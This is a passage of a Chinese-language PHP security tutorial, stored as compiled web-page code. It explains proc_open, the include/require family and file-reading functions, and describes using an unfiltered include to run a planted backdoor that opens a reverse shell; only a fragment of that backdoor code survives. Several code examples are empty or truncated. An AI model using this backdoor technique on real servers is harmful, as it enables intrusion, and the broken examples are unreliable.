\n"})}),"\n",(0,r.jsxs)(n.p,{children:["\u6b64\u51fd\u6570\u5176\u5b9e\u548c",(0,r.jsx)(n.code,{children:"popen"}),"\u51fd\u6570\u7c7b\u4f3c\uff0c\u90fd\u662f\u6267\u884c\u547d\u4ee4"]}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-14",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"cmd\uff1a\u8981\u6267\u884c\u7684\u547d\u4ee4"}),"\n",(0,r.jsx)(n.li,{children:"descriptorspec\uff1a\u7d22\u5f15\u6570\u7ec4\u3002\u6570\u7ec4\u4e2d\u7684\u952e\u503c\u8868\u793a\u63cf\u8ff0\u7b26\uff0c\u5143\u7d20\u503c\u8868\u793a PHP \u5982\u4f55\u5c06\u8fd9\u4e9b\u63cf\u8ff0\u7b26\u4f20\u9001\u81f3\u5b50\u8fdb\u7a0b\u30020 \u8868\u793a\u6807\u51c6\u8f93\u5165\uff08stdin\uff09\uff0c1 \u8868\u793a\u6807\u51c6\u8f93\u51fa\uff08stdout\uff09\uff0c2 \u8868\u793a\u6807\u51c6\u9519\u8bef\uff08stderr\uff09\u3002"}),"\n",(0,r.jsx)(n.li,{children:"pipes\uff1a\u5c06\u88ab\u7f6e\u4e3a\u7d22\u5f15\u6570\u7ec4\uff0c\u5176\u4e2d\u7684\u5143\u7d20\u662f\u88ab\u6267\u884c\u7a0b\u5e8f\u521b\u5efa\u7684\u7ba1\u9053\u5bf9\u5e94\u5230PHP\u8fd9\u4e00\u6bb5\u7684\u6587\u4ef6\u6307\u9488\u3002"}),"\n",(0,r.jsx)(n.li,{children:"cwd\uff1a\u8981\u6267\u884c\u547d\u4ee4\u7684\u521d\u59cb\u5de5\u4f5c\u76ee\u5f55\u3002\u5fc5\u9700\u662f\u7edd\u5bf9\u8def\u5f84\u3002\u6b64\u53c2\u6570\u9ed8\u8ba4\u4f7f\u7528 NULL\uff08\u8868\u793a\u5f53\u524d PHP \u8fdb\u7a0b\u7684\u5de5\u4f5c\u76ee\u5f55\uff09"}),"\n",(0,r.jsx)(n.li,{children:"env\u3002\u8981\u6267\u884c\u547d\u4ee4\u6240\u4f7f\u7528\u7684\u73af\u5883\u53d8\u91cf\u3002\u6b64\u53c2\u6570\u9ed8\u8ba4\u4e3a NULL\uff08\u8868\u793a\u548c\u5f53\u524d PHP \u8fdb\u7a0b\u76f8\u540c\u7684\u73af\u5883\u53d8\u91cf\uff09"}),"\n",(0,r.jsxs)(n.li,{children:["other_options\uff1a\u53ef\u9009\u3002\u9644\u52a0\u9009\u9879\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"suppress_errors \uff08\u4ec5\u7528\u4e8e Windows \u5e73\u53f0\uff09\uff1a\u8bbe\u7f6e\u4e3a TRUE \u8868\u793a\u6291\u5236\u672c\u51fd\u6570\u4ea7\u751f\u7684\u9519\u8bef\u3002"}),"\n",(0,r.jsx)(n.li,{children:"bypass_shell \uff08\u4ec5\u7528\u4e8e Windows \u5e73\u53f0\uff09\uff1a\u8bbe\u7f6e\u4e3a TRUE \u8868\u793a\u7ed5\u8fc7 cmd.exe shell\u3002"}),"\n"]}),"\n"]}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u8bf4\u767d\u4e86\uff0c\u5176\u5b9e\u5c31\u662f\u6267\u884c\u547d\u4ee4\uff0c\u53ea\u4e0d\u8fc7\u5176\u4e2d\u591a\u4e86\u4e00\u4e9b\u9009\u9879\uff0c\u5305\u62ec\u76ee\u5f55\u7684\uff0c\u73af\u5883\u53d8\u91cf\u7684\u7b49\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u793a\u4f8b\u4ee3\u7801\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'$descriptorspec = array(\n\t\t\t0 => array("pipe", "r"),\t//\u6807\u51c6\u8f93\u5165\uff0c\u5b50\u8fdb\u7a0b\u4ece\u6b64\u7ba1\u9053\u8bfb\u53d6\u6570\u636e\n\t\t\t1 => array("pipe", "w"),\t//\u6807\u51c6\u8f93\u51fa\uff0c\u5b50\u8fdb\u7a0b\u5411\u6b64\u7ba1\u9053\u5199\u5165\u6570\u636e\n\t\t\t2 => array("file", "/opt/figli/php/error-output.txt","a")\t//\u6807\u51c6\u9519\u8bef\uff0c\u5199\u5165\u5230\u6307\u5b9a\u6587\u4ef6\n\t\t\t);\n \n \n\t$process = proc_open("ls -a", $descriptorspec, $pipes);\n \n\tif(is_resource($process)){\n \n\t\techo stream_get_contents($pipes[1]);\n\t\tfclose($pipes[1]);\n \n\t\tproc_close($process);\t//\u5728\u8c03\u7528proc_close\u4e4b\u524d\u5fc5\u987b\u5173\u95ed\u6240\u6709\u7ba1\u9053\n\t}\n'})}),"\n",(0,r.jsx)(n.h3,{id:"\u6587\u4ef6\u5305\u542b",children:"\u6587\u4ef6\u5305\u542b"}),"\n",(0,r.jsx)(n.h4,{id:"include",children:"include()"}),"\n",(0,r.jsxs)(n.p,{children:[(0,r.jsx)(n.code,{children:"include"}),"\u5c06\u4f1a\u5305\u542b\u8bed\u53e5\u5e76\u6267\u884c\u6307\u5b9a\u6587\u4ef6"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"include 'filename';\n"})}),"\n",(0,r.jsxs)(n.p,{children:["\u5173\u952e\u70b9\u5c31\u5728\u4e8e\u6267\u884c\u6307\u5b9a\u6587\u4ef6\uff0c\u6267\u884c\u7ed9\u4e86\u6211\u4eec\u4ee3\u7801\u6267\u884c\u7684\u673a\u4f1a\u3002\u5018\u82e5\u6b64\u65f6\u6211\u4eec\u6784\u9020\u4e86\u4e00\u4e2a\u540e\u95e8\u6587\u4ef6\uff0c\u9700\u8981\u5728\u76ee\u6807\u673a\u5668\u6267\u884c\u8fdb\u884cshell\u53cd\u5f39\uff0c\u90a3\u4e48\u5982\u679c\u4ee3\u7801\u4e2d\u6709",(0,r.jsx)(n.code,{children:"include"}),"\u800c\u4e14\u6ca1\u6709\u8fdb\u884c\u8fc7\u6ee4\uff0c\u90a3\u4e48\u6211\u4eec\u5c31\u53ef\u4ee5\u4f7f\u7528\u8be5\u51fd\u6570\u6765\u6267\u884c\u6211\u4eec\u7684\u540e\u95e8\u51fd\u6570\u3002\u4e0b\u9762\u6211\u6765\u6f14\u793a\u4e00\u4e0b\u3002"]}),"\n",(0,r.jsx)(n.p,{children:"\u793a\u4f8b\u4ee3\u7801(1.php)\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u793a\u4f8b\u4ee3\u7801(2.php)\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'&3 2>&3");\n\techo \'

[*]backdoor is running!

\';\n?>\n'})}),"\n",(0,r.jsx)(n.p,{children:"\u6267\u884c\u7ed3\u679c\uff1a"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648346.png",alt:"img"})}),"\n",(0,r.jsx)(n.h4,{id:"include_once",children:"include_once()"}),"\n",(0,r.jsxs)(n.p,{children:[(0,r.jsx)(n.code,{children:"include_once"}),"\u4e0e",(0,r.jsx)(n.code,{children:"include"}),"\u6ca1\u6709\u592a\u5927\u533a\u522b\uff0c\u552f\u4e00\u7684\u5176\u533a\u522b\u5df2\u7ecf\u5728\u540d\u79f0\u4e2d\u4f53\u73b0\u4e86\uff0c\u5c31\u662f\u76f8\u540c\u7684\u6587\u4ef6\u53ea\u5305\u542b\u4e00\u6b21\u3002\u5176\u4ed6\u529f\u80fd\u548c",(0,r.jsx)(n.code,{children:"include_once"}),"\u4e00\u6837\uff0c\u53ea\u662f\u589e\u52a0\u5bf9\u6bcf\u4e2a\u6587\u4ef6\u5305\u542b\u7684\u6b21\u6570\u3002"]}),"\n",(0,r.jsx)(n.h4,{id:"require",children:"require()"}),"\n",(0,r.jsxs)(n.p,{children:[(0,r.jsx)(n.code,{children:"require"}),"\u7684\u5b9e\u73b0\u548c",(0,r.jsx)(n.code,{children:"include"}),"\u529f\u80fd\u51e0\u4e4e\u5b8c\u5168\u76f8\u540c\uff0c\u90a3\u65e2\u7136\u4e00\u6837\u4e3a\u4ec0\u4e48\u8fd8\u8981\u591a\u4e00\u4e2a\u8fd9\u6837\u7684\u51fd\u6570\u5462\uff1f( \u6211\u4e5f\u4e0d\u77e5\u9053)"]}),"\n",(0,r.jsx)(n.p,{children:"\u5176\u5b9e\u4e24\u8005\u8fd8\u662f\u6709\u70b9\u533a\u522b\u7684\uff0c\u4ec0\u4e48\u533a\u522b\u5462\uff1f\u8fd9\u4e48\u8bf4\uff0c\u5982\u679c\u4f60\u5305\u542b\u7684\u6587\u4ef6\u7684\u4ee3\u7801\u91cc\u9762\u6709\u9519\u8bef\uff0c\u4f60\u89c9\u5f97\u4f1a\u53d1\u751f\u4ec0\u4e48\uff1f\u662f\u7ee7\u7eed\u6267\u884c\u5305\u542b\u7684\u6587\u4ef6\uff0c\u8fd8\u662f\u505c\u6b62\u6267\u884c\u5462\uff1f\u6240\u4ee5\u533a\u522b\u5c31\u5728\u8fd9\u91cc\u4ea7\u751f\u4e86\u3002"}),"\n",(0,r.jsxs)(n.p,{children:[(0,r.jsx)(n.code,{children:"require"}),"\u5728\u51fa\u9519\u65f6\u4f1a\u5bfc\u81f4\u811a\u672c\u7ec8\u6b62\uff0c\u800c",(0,r.jsx)(n.code,{children:"include"}),"\u5728\u51fa\u9519\u65f6\u53ea\u662f\u53d1\u751f\u8b66\u544a\uff0c\u811a\u672c\u8fd8\u662f\u7ee7\u7eed\u6267\u884c\u3002"]}),"\n",(0,r.jsx)(n.h4,{id:"require_once",children:"require_once()"}),"\n",(0,r.jsxs)(n.p,{children:["\u8fd9\u4e2a\u6211\u89c9\u5f97\u4f60\u770b\u5b8c\u4e0a\u9762\u7684\uff0c\u5e94\u8be5\u5c31\u61c2\u4e86\u3002\u8fd9\u4e24\u8005\u5173\u7cfb\u548c",(0,r.jsx)(n.code,{children:"include"}),"\u4e0e",(0,r.jsx)(n.code,{children:"include_once"}),"\u7684\u5173\u7cfb\u662f\u4e00\u6837\u7684\u3002"]}),"\n",(0,r.jsx)(n.h4,{id:"\u603b\u7ed3-1",children:"\u603b\u7ed3"}),"\n",(0,r.jsx)(n.p,{children:"\u6587\u4ef6\u5305\u542b\u6709\u5f88\u591a\u5229\u7528\u624b\u6bb5\uff0c\u5176\u4e2d\u5728\u5b9e\u9645\u73af\u5883\u4e2d\uff0c\u4f8b\u5982\u6211\u4eec\u5411\u670d\u52a1\u5668\u5199\u5165\u4e86\u540e\u95e8\uff0c\u4f46\u662f\u6211\u4eec\u65e0\u6cd5\u76f4\u63a5\u8fde\u63a5\u670d\u52a1\u5668\uff0c\u90a3\u4e48\u5982\u679c\u6709\u6587\u4ef6\u5305\u542b\u51fd\u6570\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u6587\u4ef6\u5305\u542b\u51fd\u6570\u5305\u542b\u6267\u884c\u6211\u4eec\u7684\u540e\u95e8\u51fd\u6570\uff0c\u8ba9\u670d\u52a1\u5668\u53cd\u5f39\u8fde\u63a5\u6211\u4eec\u3002\u5c82\u4e0d\u7f8e\u54c9\u3002"}),"\n",(0,r.jsx)(n.h3,{id:"\u6587\u4ef6\u8bfb\u53d6\u4e0b\u8f7d",children:"\u6587\u4ef6\u8bfb\u53d6(\u4e0b\u8f7d)"}),"\n",(0,r.jsx)(n.h4,{id:"file_get_contents",children:"file_get_contents()"}),"\n",(0,r.jsx)(n.p,{children:"\u51fd\u6570\u529f\u80fd\u662f\u5c06\u6574\u4e2a\u6587\u4ef6\u8bfb\u5165\u4e00\u4e2a\u5b57\u7b26\u4e32"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"file_get_contents(path,include_path,context,start,max_length)\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-15",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"filename\uff1a\u8981\u8bfb\u53d6\u6587\u4ef6\u7684\u540d\u79f0\u3002"}),"\n",(0,r.jsx)(n.li,{children:"include_path\uff1a\u53ef\u9009\u3002\u5982\u679c\u4e5f\u60f3\u5728 include_path \u4e2d\u641c\u7d22\u6587\u4ef6\uff0c\u53ef\u4ee5\u8bbe\u7f6e\u4e3a1\u3002"}),"\n",(0,r.jsx)(n.li,{children:"context\uff1a\u53ef\u9009\u3002\u89c4\u5b9a\u53e5\u67c4\u7684\u4f4d\u7f6e\u3002"}),"\n",(0,r.jsx)(n.li,{children:"start\uff1a\u53ef\u9009\u3002\u89c4\u5b9a\u6587\u4ef6\u4e2d\u5f00\u59cb\u8bfb\u53d6\u7684\u4f4d\u7f6e\u3002"}),"\n",(0,r.jsx)(n.li,{children:"max_length\uff1a\u53ef\u9009\u3002\u89c4\u5b9a\u8bfb\u53d6\u7684\u5b57\u8282\u6570\u3002"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nI am a demo text\n"})}),"\n",(0,r.jsx)(n.h4,{id:"fopen",children:"fopen()"}),"\n",(0,r.jsxs)(n.p,{children:["\u6b64\u51fd\u6570\u5c06\u6253\u5f00\u4e00\u4e2a\u6587\u4ef6\u6216URL\uff0c\u5982\u679c fopen() \u5931\u8d25\uff0c\u5b83\u5c06\u8fd4\u56de FALSE \u5e76\u9644\u5e26\u9519\u8bef\u4fe1\u606f\u3002\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u5728\u51fd\u6570\u540d\u524d\u9762\u6dfb\u52a0\u4e00\u4e2a ",(0,r.jsx)(n.code,{children:"@"})," \u6765\u9690\u85cf\u9519\u8bef\u8f93\u51fa\u3002"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"fopen(filename,mode,include_path,context)\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-16",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"filename\uff1a\u5fc5\u9700\u3002\u8981\u6253\u5f00\u7684\u6587\u4ef6\u6216URL"}),"\n",(0,r.jsx)(n.li,{children:"mode\uff1a\u5fc5\u9700\u3002\u89c4\u5b9a\u8bbf\u95ee\u7c7b\u578b\uff08\u4f8b\u5982\u53ea\u8bfb\uff0c\u53ea\u5199\uff0c\u8bfb\u5199\u65b9\u5f0f\u7b49\uff0c\u65b9\u5f0f\u7684\u89c4\u5b9a\u548c\u5176\u4ed6\u8bed\u8a00\u7684\u89c4\u5b9a\u65b9\u5f0f\u4e00\u81f4\uff09"}),"\n",(0,r.jsx)(n.li,{children:"include_path\uff1a\u53ef\u9009\u3002\u5c31\u662f\u4f60\u53ef\u4ee5\u6307\u5b9a\u641c\u7d22\u7684\u8def\u5f84\u4f4d\u7f6e\uff0c\u5982\u679c\u8981\u6307\u5b9a\u7684\u8bdd\uff0c\u90a3\u4e48\u8be5\u53c2\u6570\u8981\u6307\u5b9a\u4e3a- context\uff1a\u53ef\u9009\u3002\u89c4\u5b9a\u53e5\u67c4\u7684\u73af\u5883\u3002"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nI am a demo text\n'})}),"\n",(0,r.jsxs)(n.p,{children:["\u8fd9\u6bb5\u4ee3\u7801\u4e2d\u5176\u5b9e\u4e5f\u5305\u542b\u4e86",(0,r.jsx)(n.code,{children:"fread"}),"\u7684\u7528\u6cd5\u3002\u56e0\u4e3a",(0,r.jsx)(n.code,{children:"fread"}),"\u4ec5\u4ec5\u53ea\u662f\u6253\u5f00\u4e00\u4e2a\u6587\u4ef6\uff0c\u8981\u60f3\u8bfb\u53d6\u8fd8\u5f97\u9700\u8981\u7528\u5230",(0,r.jsx)(n.code,{children:"fread"}),"\u6765\u8bfb\u53d6\u6587\u4ef6\u5185\u5bb9\u3002"]}),"\n",(0,r.jsx)(n.h4,{id:"fread",children:"fread()"}),"\n",(0,r.jsx)(n.p,{children:"\u8fd9\u4e2a\u51fd\u6570\u521a\u624d\u5728\u4e0a\u4e2a\u51fd\u6570\u4e2d\u57fa\u672c\u5df2\u7ecf\u6f14\u793a\u8fc7\u4e86\uff0c\u5c31\u662f\u8bfb\u53d6\u6587\u4ef6\u5185\u5bb9\u3002\u8fd9\u91cc\u4ee3\u7801\u5c31\u4e0d\u518d\u6f14\u793a\u4e86\uff0c\u7b80\u5355\u4ecb\u7ecd\u4e00\u4e0b\u53c2\u6570\u548c\u7528\u6cd5\u3002"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"string fread ( resource $handle , int $length )\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-17",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsxs)(n.li,{children:["handle\uff1a\u6587\u4ef6\u7cfb\u7edf\u6307\u9488\uff0c\u662f\u5178\u578b\u5730\u7531 ",(0,r.jsx)(n.code,{children:"fopen"}),"\u521b\u5efa\u7684",(0,r.jsx)(n.code,{children:"resource"}),"\u3002"]}),"\n",(0,r.jsx)(n.li,{children:"length\uff1a\u5fc5\u9700\u3002\u4f60\u8981\u8bfb\u53d6\u7684\u6700\u5927\u5b57\u8282\u6570\u3002"}),"\n"]}),"\n",(0,r.jsx)(n.h4,{id:"fgets",children:"fgets()"}),"\n",(0,r.jsx)(n.p,{children:"\u4ece\u6253\u5f00\u7684\u6587\u4ef6\u4e2d\u8bfb\u53d6\u4e00\u884c"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"fgets(file,length) \n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-18",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"file\uff1a\u5fc5\u9700\u3002\u89c4\u5b9a\u8981\u8bfb\u53d6\u7684\u6587\u4ef6\u3002"}),"\n",(0,r.jsx)(n.li,{children:"length\uff1a\u53ef\u9009\u3002\u89c4\u5b9a\u8981\u8bfb\u53d6\u7684\u5b57\u8282\u6570\u3002\u9ed8\u8ba4\u662f1024\u5b57\u8282\u3002"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u53ef\u4ee5\u770b\u51fa\u8fd9\u4e2a\u51fd\u6570\u548c\u4e4b\u524d\u7684fread\u533a\u522b\u4e0d\u662f\u5f88\u5927\uff0c\u53ea\u4e0d\u8fc7\u8fd9\u4e2a\u8bfb\u53d6\u7684\u662f\u4e00\u884c\u3002"}),"\n",(0,r.jsx)(n.h4,{id:"fgetss",children:"fgetss()"}),"\n",(0,r.jsx)(n.p,{children:"\u8fd9\u4e2a\u51fd\u6570\u8ddf\u4e0a\u4e2a\u6ca1\u4ec0\u4e48\u5dee\u522b\uff0c\u4e5f\u662f\u4ece\u6253\u5f00\u7684\u6587\u4ef6\u4e2d\u8bfb\u53d6\u53bb\u4e00\u884c\uff0c\u53ea\u4e0d\u8fc7\u8fc7\u6ee4\u6389\u4e86 HTML \u548c PHP \u6807\u7b7e\u3002"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"fgetss(file,length,tags)\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-19",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"file\uff1a\u5fc5\u9700\u3002\u8981\u68c0\u67e5\u7684\u6587\u4ef6\u3002"}),"\n",(0,r.jsx)(n.li,{children:"length\uff1a\u53ef\u9009\u3002\u89c4\u5b9a\u8981\u8bfb\u53d6\u7684\u5b57\u8282\u6570\uff0c\u9ed8\u8ba41024\u5b57\u8282\u3002"}),"\n",(0,r.jsx)(n.li,{children:"tags\uff1a\u53ef\u9009\u3002\u54ea\u4e9b\u6807\u8bb0\u4e0d\u53bb\u6389\u3002"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'\n\ndemo.html\u4ee3\u7801\n

I am a demo

\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nI am a demo\n'})}),"\n",(0,r.jsx)(n.h4,{id:"readfile",children:"readfile()"}),"\n",(0,r.jsx)(n.p,{children:"\u8fd9\u4e2a\u51fd\u6570\u4ece\u540d\u79f0\u57fa\u672c\u5c31\u77e5\u9053\u5b83\u662f\u5e72\u5565\u7684\u4e86\uff0c\u8bfb\u6587\u4ef6\u7528\u7684\u3002\u6b64\u51fd\u6570\u5c06\u8bfb\u53d6\u4e00\u4e2a\u6587\u4ef6\uff0c\u5e76\u5199\u5165\u5230\u8f93\u51fa\u7f13\u51b2\u4e2d\u3002\u5982\u679c\u6210\u529f\uff0c\u8be5\u51fd\u6570\u8fd4\u56de\u4ece\u6587\u4ef6\u4e2d\u8bfb\u5165\u7684\u5b57\u8282\u6570\u3002\u5982\u679c\u5931\u8d25\uff0c\u8be5\u51fd\u6570\u8fd4\u56de FALSE \u5e76\u9644\u5e26\u9519\u8bef\u4fe1\u606f\u3002"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"readfile(filename,include_path,context)\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-20",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"filename\uff1a\u5fc5\u9700\u3002\u8981\u8bfb\u53d6\u7684\u6587\u4ef6\u3002"}),"\n",(0,r.jsx)(n.li,{children:"include_path\uff1a\u53ef\u9009\u3002\u89c4\u5b9a\u8981\u641c\u7d22\u7684\u8def\u5f84\u3002"}),"\n",(0,r.jsx)(n.li,{children:"context\uff1a\u53ef\u9009\u3002\u89c4\u5b9a\u6587\u4ef6\u53e5\u67c4\u73af\u5883\u3002"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'" . readfile("demo.txt");\n?>\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nI am a demo:) I am a demo:(\n'})}),"\n",(0,r.jsx)(n.p,{children:"\u6211\u4eec\u770b\u5230\u4e0d\u4ec5\u8f93\u51fa\u4e86\u6240\u6709\u5185\u5bb9\uff0c\u800c\u4e14\u8fd8\u8f93\u51fa\u4e86\u603b\u5171\u957f\u5ea6\u3002\u4f46\u662f\u6ca1\u6709\u8f93\u51fa\u6362\u884c\u3002"}),"\n",(0,r.jsx)(n.h4,{id:"file",children:"file()"}),"\n",(0,r.jsx)(n.p,{children:"\u628a\u6587\u4ef6\u8bfb\u5165\u5230\u4e00\u4e2a\u6570\u7ec4\u4e2d\uff0c\u6570\u7ec4\u4e2d\u6bcf\u4e00\u4e2a\u5143\u7d20\u5bf9\u5e94\u7684\u662f\u6587\u4ef6\u4e2d\u7684\u4e00\u884c\uff0c\u5305\u62ec\u6362\u884c\u7b26\u3002"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"file(path,include_path,context)\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-21",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"path\uff1a\u5fc5\u9700\u3002\u8981\u8bfb\u53d6\u7684\u6587\u4ef6\u3002"}),"\n",(0,r.jsx)(n.li,{children:"include_path\uff1a\u53ef\u9009\u3002\u53ef\u6307\u5b9a\u641c\u7d22\u8def\u5f84\u3002"}),"\n",(0,r.jsx)(n.li,{children:"context\uff1a\u53ef\u9009\u3002\u8bbe\u7f6e\u53e5\u67c4\u73af\u5883\u3002"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nArray \n( \n[0] => I am the first line! \n[1] => I am the second line! \n)\n'})}),"\n",(0,r.jsx)(n.h4,{id:"parse_ini_file",children:"parse_ini_file()"}),"\n",(0,r.jsx)(n.p,{children:"\u4ece\u540d\u79f0\u53ef\u4ee5\u770b\u51fa\uff0c\u8fd9\u4e2a\u51fd\u6570\u4e0d\u662f\u8bfb\u53d6\u4e00\u4e2a\u7b80\u5355\u7684\u6587\u4ef6\u3002\u5b83\u7684\u529f\u80fd\u662f\u89e3\u6790\u4e00\u4e2a\u914d\u7f6e\u6587\u4ef6(ini\u6587\u4ef6)\uff0c\u5e76\u4ee5\u6570\u7ec4\u7684\u5f62\u5f0f\u8fd4\u56de\u5176\u4e2d\u7684\u4f4d\u7f6e\u3002"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"parse_ini_file(file,process_sections)\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-22",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"file\uff1a\u5fc5\u9700\u3002\u8981\u8bfb\u53d6\u7684ini\u6587\u4ef6"}),"\n",(0,r.jsx)(n.li,{children:"process_sections\uff1a\u53ef\u9009\u3002\u82e5\u4e3aTRUE\uff0c\u5219\u8fd4\u56de\u4e00\u4e2a\u591a\u7ef4\u6570\u7ec4\uff0c\u5305\u62ec\u4e86\u8be6\u7ec6\u4fe1\u606f"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'\n\ndemo.ini\u5185\u5bb9\uff1a\n[names]\nme = Robert\nyou = Peter\n\n[urls]\nfirst = "http://www.example.com"\nsecond = "https://www.runoob.com"\n\n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nArray \n( \n[me] => Robert \n[you] => Peter \n[first] => http://www.example1.com \n[second] => https://www.example2.com \n)\n'})}),"\n",(0,r.jsx)(n.h4,{id:"show_sourcehighlight_file",children:"show_source()/highlight_file()"}),"\n",(0,r.jsxs)(n.p,{children:["\u8fd9\u4e24\u4e2a\u51fd\u6570\u6ca1\u4ec0\u4e48\u597d\u8bf4\u7684\uff0c\u60f3\u5fc5\u5927\u5bb6\u4e5f\u7ecf\u5e38\u89c1\u5230\u8fd9\u4e24\u4e2a\u51fd\u6570\uff0c\u5176\u4f5c\u7528\u5c31\u662f\u8ba9php\u4ee3\u7801\u663e\u793a\u5728\u9875\u9762\u4e0a\u3002\u8fd9\u4e24\u4e2a\u6ca1\u6709\u4efb\u4f55\u533a\u522b\uff0c",(0,r.jsx)(n.code,{children:"show_source"}),"\u5176\u5b9e\u5c31\u662f",(0,r.jsx)(n.code,{children:"highlight_file"}),"\u7684\u522b\u540d\u3002"]}),"\n",(0,r.jsx)(n.h4,{id:"\u603b\u7ed3-2",children:"\u603b\u7ed3"}),"\n",(0,r.jsx)(n.p,{children:"\u6587\u4ef6\u8bfb\u53d6\u8fd9\u5757\u5185\u5bb9\u6ca1\u4ec0\u4e48\u597d\u8bf4\u7684\uff0c\u4e0d\u96be\uff0c\u5927\u591a\u53ea\u662f\u57fa\u672c\u7684\u5e94\u7528\u3002\u91cd\u70b9\u6587\u4ef6\u8bfb\u53d6\u5982\u679c\u6ca1\u6709\u8bbe\u7f6e\u6743\u9650\u548c\u8fc7\u6ee4\u53c2\u6570\uff0c\u90a3\u5c31\u95ee\u9898\u5927\u4e86\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u4e86\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u8865\u5145\uff1a\u4ec0\u4e48\u662f\u53e5\u67c4\uff1f"}),"\n",(0,r.jsx)(n.p,{children:"\u5f00\u5c40\u5148\u7ed9\u4e00\u6bb5\u4ee3\u7801"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'$file = 